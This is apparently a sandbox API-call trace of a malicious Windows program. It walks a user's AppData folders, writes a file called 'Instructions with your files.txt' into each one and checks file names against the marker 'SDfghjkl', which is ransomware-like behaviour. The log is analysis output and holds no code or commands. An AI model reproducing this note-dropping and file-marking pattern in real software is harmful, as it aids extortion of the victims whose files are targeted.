[0130.532] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\.") returned 86
[0130.532] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.532] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\..") returned 87
[0130.532] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active", cAlternateFileName="")) returned 1
[0130.532] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active") returned 91
[0130.533] GetProcessHeap () returned 0x810000
[0130.533] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.533] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\*") returned 93
[0130.533] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.534] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\.") returned 93
[0130.534] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.534] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\..") returned 94
[0130.535] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.535] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\Instructions with your files.txt") returned 124
[0130.535] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\active\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.535] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.536] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.536] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.536] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.536] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.536] CloseHandle (hObject=0x120) returned 1
[0130.536] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.536] GetProcessHeap () returned 0x810000
[0130.536] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.536] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 1
[0130.536] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active") returned 96
[0130.536] GetProcessHeap () returned 0x810000
[0130.537] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.537] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*") returned 98
[0130.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.539] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\.") returned 98
[0130.539] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.539] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\..") returned 99
[0130.539] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe35acf0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe35acf0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x306293b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", cAlternateFileName="RECOVE~2.DAT")) returned 1
[0130.539] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned 153
[0130.539] StrStrIW (lpFirst="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpSrch="SDfghjkl") returned 0x0
[0130.539] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6dd28c60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6dd28c60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe35acf0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat", cAlternateFileName="RECOVE~1.DAT")) returned 1
[0130.539] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat") returned 153
[0130.539] StrStrIW (lpFirst="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat", lpSrch="SDfghjkl") returned 0x0
[0130.539] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe35acf0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe35acf0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe35acf0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat", cAlternateFileName="{4BD65~1.DAT")) returned 1
[0130.539] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned 139
[0130.539] StrStrIW (lpFirst="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpSrch="SDfghjkl") returned 0x0
[0130.539] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30603250, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x306293b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", cAlternateFileName="{69512~1.DAT")) returned 1
[0130.539] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned 139
[0130.539] StrStrIW (lpFirst="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpSrch="SDfghjkl") returned 0x0
[0130.539] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30603250, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x306293b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", cAlternateFileName="{69512~1.DAT")) returned 0
[0130.539] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\Instructions with your files.txt") returned 129
[0130.539] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.539] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.542] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.542] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.542] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.542] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.542] CloseHandle (hObject=0x120) returned 1
[0130.542] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.542] GetProcessHeap () returned 0x810000
[0130.543] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.543] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 0
[0130.543] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Instructions with your files.txt") returned 117
[0130.543] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.543] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.544] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.544] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.544] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.544] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.544] CloseHandle (hObject=0x11c) returned 1
[0130.544] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.544] GetProcessHeap () returned 0x810000
[0130.544] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.545] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 0
[0130.545] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Instructions with your files.txt") returned 108
[0130.545] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.546] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.546] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.547] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.547] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.547] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.547] CloseHandle (hObject=0x118) returned 1
[0130.547] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.547] GetProcessHeap () returned 0x810000
[0130.547] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.547] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
[0130.547] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player") returned 70
[0130.547] GetProcessHeap () returned 0x810000
[0130.547] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.547] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\*") returned 72
[0130.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.549] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\.") returned 72
[0130.549] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.549] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\..") returned 73
[0130.549] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf59b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1
[0130.549] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 95
[0130.549] StrStrIW (lpFirst="CurrentDatabase_372.wmdb", lpSrch="SDfghjkl") returned 0x0
